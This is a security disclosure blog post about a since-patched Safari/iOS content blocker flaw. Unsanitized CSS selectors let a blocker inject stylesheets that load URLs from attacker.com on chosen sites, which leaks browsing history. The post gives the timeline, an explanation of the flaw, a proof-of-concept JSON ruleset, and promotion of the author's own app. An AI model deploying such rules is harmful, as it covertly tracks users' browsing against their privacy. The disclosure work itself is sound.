I discovered a vulnerability in content blockers with the help of a friend that could be exploited to leak users’ browsing history to the content blocker developer, contrary to Apple’s claims that this was impossible. This exploit works even on Private Browsing, and allows malicious developers to log the time you visited each site. I reported this exploit on 9/30/15, and it was fixed in iOS 9.2 and Safari 9.0.2 on 12/8/15. If your iOS version is below this, update now! A writeup follows.

Disclosure Timeline

8/25/15- I reported a bug to WebKit’s bug tracker that invalid CSS selectors such as “body{” were corrupting content blocking stylesheets

8/26/15- response from the WebKit team that there wasn’t a whole lot they could do in this case, except for better error reporting

9/30/15- I send an email to product-security@apple.com, providing a proof of concept that the lack of validation on user-supplied CSS selectors allowed content blockers to track user’s browsing history on Safari, even when the user is Private Browsing.

9/30/15- Apple responds, stating that they are looking into the issue

10/5/15- Apple WebKit developers reopen my initial bug, and submit a changeset to Webkit source that fixes the vulnerability: http://trac.webkit.org/changeset/190602

12/8/15- Apple pushes these Webkit updates to Safari on iOS 9.2 and on Safari 9.0.2. They disclose the issue, here (Safari 9.0.2): https://support.apple.com/en-us/HT205639 and here (iOS 9.2): https://support.apple.com/en-us/HT205635.

12/8/15- I publish this blog post.

Note: I develop a free, fully customizable content blocker for iOS called Refine. I’ve audited Refine’s public content blockers, and as of 12/8/15, none exercise this vulnerability. My default blockers certainly do not track user history. If you want to use the most feature-rich content blocker developed by someone who cares deeply about user privacy and security, try mine out. It is hard for me to tell whether other content blockers have been tracking user history using this exploit. Download my blocker, as I guarantee that I have not been tracking browsing history, and will continue to help identify and disclose vulnerabilities to Apple that may jeopardize my users’ privacy.

The Writeup

How Content Blockers Work

To understand the vulnerability in content blockers, we need some background on how they work. Unlike adblockers for desktop browsers, which can execute javascript on behalf of the user, content blockers are far more limited. The content blocking app merely provides a JSON file that contains rules on what types of content should be blocked by Safari, following a format delineated here: https://www.webkit.org/blog/3476/content-blockers-first-look/. That’s it. After providing the JSON file, content blocking apps can’t interact with the user experience on Safari at all, as it is the browser’s responsible to block content corresponding to the rules it has been provided. This sort of strict sandbox was deliberately created, in part, to protect users browsing history from app developers, in a way that is impossible with adblockers on standard desktop browsers like Chrome. Apple claims that

“Safari content blocker support is designed in such a way that the content blocker can’t send information to developers about the sites you visit.”

The Vulnerability

As a proof-of-concept, let’s create a content blocker that can send information to developers about the sites a user visits on Safari.

From the documentation, there are three ways content blockers can tell Safari to block content: ask Safari to refuse to load a resource, ask Safari to refuse to send cookies when loading a resource, or ask Safari to hide a HTML element that matches a provided CSS selector. In addition, content blockers can tell Safari to only trigger certain blocking rules on certain sites by filtering on the url of the sites visited.

The vulnerability that could be exploited was asking Safari to hide a HTML element by providing a CSS selector. Per the documentation, CSS selectors should be passed in the JSON file to Safari, which would hide all elements that matched those CSS selectors. Unfortunately, the content blocking engine didn’t sanitize these CSS selectors.

When a regular CSS selector such as .advertisement is passed, the content blocking engine generates and inserts this CSS into all triggered websites:

.advertisement{ display:none; }

functioning as the Webkit developers intended. However, what if I try inserting real CSS instead of just a selector? If the input is body{background-color:blue}, what does the Webkit source generate?

body{ background-color:blue } { display:none; }

which is valid CSS, and already does something the Webkit developers don’t want: allowing content blockers to arbitrarily insert CSS style sheets into webpages (in this case, changing the background color of the body element to blue).

However, this bug becomes a security vulnerability that allows content blocker developers to track user history by coupling two facts:

we can trigger arbitrary stylesheets (as shown above) to be inserted on specific webpages (via the url-filter option passed in the JSON file) using the CSS property background, we can ask the browser to load an external resource

Proof-of-Concept

Here is the proof-of-concept JSON file I sent to the Apple team demonstrating this vulnerability:

[ { "action":{ "type":"css-display-none", "selector":"body{background:url(http:\/\/attacker.com\/visited_yc)}" }, "trigger":{"url-filter":"ycombinator\\.com"} }, { "action":{ "type":"css-display-none", "selector":"body{background:url(http:\/\/attacker.com\/visited_reddit)}" }, "trigger":{"url-filter":"reddit\\.com"} } ]

A malicious content blocking app would own attacker.com and send this JSON file to Safari as a content blocking ruleset. When a user visits reddit.com, Safari tries to load http://attacker.com/visited_reddit, and when a user visits news.ycombinator.com, Safari tries to load http://attacker.com/visited_yc. Since the attacker owns http://attacker.com, he can track and log users’ browser history in this way.

Conclusion

In general, sanitizing user input is extremely important. This vulnerability serves as an example of how failure to do so can cause very easy exploits to have disastrous consequences (e.g. the ability for content blockers to track user browsing history, even in Private Browsing). If you want to use a free, customizable content blocker developed by someone who cares about user privacy and security, download my app, Refine. Follow me at @RefineApp on Twitter for updates and to ask questions.